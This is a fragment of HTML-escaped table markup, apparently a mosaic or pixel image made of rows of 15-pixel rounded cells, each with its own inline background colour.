&lt;td style=&quot;background-color: #4c5343; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b5240; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f5745; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #565e48; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #58604a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #626a50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #686f50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c7453; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e5e43; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #402624; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a1a1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #39181c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #31161c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e181c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a161d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #553522; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #634126; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #503323; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a2d20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a2e20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #523522; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #593b21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #492b1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f1719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #26151b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e141c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #21161e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #21161f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #31362e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #444e37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #42503d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #495740; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #49543a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #444a37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #474c39; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #45493a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #404438; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #46493b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a5342; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f5643; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f5a4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d6554; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #585346; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #342d35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f3c37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #414135; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d3f35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #444437; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d4e3c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #545744; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a5f48; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c6047; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d6249; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d6650; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #646e57; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #676f54; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #677155; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #676a4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #606442; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #45332c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f1b20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #401d1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #371a1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #34201f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #321c1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #634628; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a88541; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e6c33; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c5927; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a5626; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #835f29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a682c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #704a1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #432015; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e1517; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #23131b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f1c1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #23141b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #262122; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #414631; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f5536; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #555836; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #545c3e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c6546; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a6346; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f6543; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c683f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #746d40; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d643e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f593d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b5a4a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b6649; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #695c45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #433c37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #494d41; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #505a4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c5b50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #505f50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #566552; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #676540; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f5c2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d4b2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b4b2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #594a2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c4033; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #554931; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #534a30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c442e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #453c25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #382626; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #351820; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #35181d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #351b1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #43281e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #674827; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #957339; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b59146; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b99444; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af8a3f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae8a3e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b38f41; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b28e3d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a0772d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #653b1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #42201b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #45251e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #482b1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c1a1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d121f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281d1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #373223; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #383823; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #45442b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a4c31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #40422e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #796c35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #998039; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #75673b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #70663a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #796d3f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a5344; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d5544; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #685c46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #634131; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c4336; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #575142; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d4f43; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d4b3a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #685735; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #735729; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #654a25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #644a25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c572b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #564328; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3c2920; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #392a20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a2a22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #453624; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2022; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c1a25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #381b20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #401f1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e4723; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a88239; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c6a14c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d5b25c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d6b157; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d1aa4f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cfaa51; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d4b259; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d3b056; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #caa549; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba9139; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a4d20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #52291b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #633b1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e301e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #341d1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #301c21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b181f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a2c26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d452b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #625d35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #817d47; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a7e43; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c793d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #85763e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #706639; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d633b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b6443; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e5946; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #655a43; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
